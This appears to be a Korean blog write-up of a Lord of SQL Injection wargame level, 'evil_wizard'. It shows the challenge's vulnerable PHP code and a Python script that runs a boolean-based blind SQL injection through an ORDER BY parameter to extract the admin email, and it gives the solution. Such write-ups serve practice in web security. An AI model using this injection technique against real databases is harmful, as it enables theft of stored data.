write-up/LOS write-up

LOS (Lord of SQL injection) 문제 24번 evil_wizard write-up

정보보호학과 새내기 2021. 7. 12. 16:37
반응형
SMALL

문제 24번 - evil_wizard

 

query : select id,email,score from prob_evil_wizard where 1 order by

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>

일단 다른 문제들과 마찬가지로 php 코드가 주어져있다.

 

먼저 필터링 함수를 확인하면 prob와 _ , . , proc, union, sleep, benchmark를 필터링하고 i를 통해 대소문자를 구별하지 않는 것을 확인할 수 있다. 또 쿼리를 보니 order에 값을 입력하여 id, email, score을 출력시켜야한다. 이전 문제와 차이점은 sleep과 benchmark를 필터링하여 time based sql injection을 사용하지 못하게 한 것으로 보인다. (이전문제를 time based로 풀지 않았지만..)

<?php
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";
?>

 

clear 조건을 확인하니 email을 구해야한다는 것을 알 수 있다. email의 길이를 먼저 구하고 email을 파이썬 코드를 이용해 구해야겠다.

<?php
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>

 

먼저 table을 확인하니 아래와 같이 저장되어있다.

 

이번에도 admin의 email을 구하면 되는 것 같다.

 

먼저 email의 길이를 구하면 30이라는 것을 알 수 있었다.

위 조건들을 감안하여 파이썬 코드를 작성해보았다.

import requests


url="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?"
cookie = dict(PHPSESSID="쿠키값")

result=""

for i in range(1,31):
    for j in range(33,138):
        query = "order=if((id='admin' and ord(substr(email,{},1))={}),1,9999)".format(i,j)
        URL = url+query
        res = requests.get(URL, cookies=cookie)
        if res.text.find("<td>50</td></tr><tr><td>rubiya</td>")>=0:
            result += chr(j)
            print(chr(j))
            break
print("email :"+result)

위 코드를 실행하니 아래 결과가 나왔다.

email 찾는 파이썬 코드 실행 화면

 

따라서 email=aasup3r_secure_email@emai1.com을 입력하면 된다.

 

solve

https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?email=aasup3r_secure_email@emai1.com

클리어 화면

반응형
LIST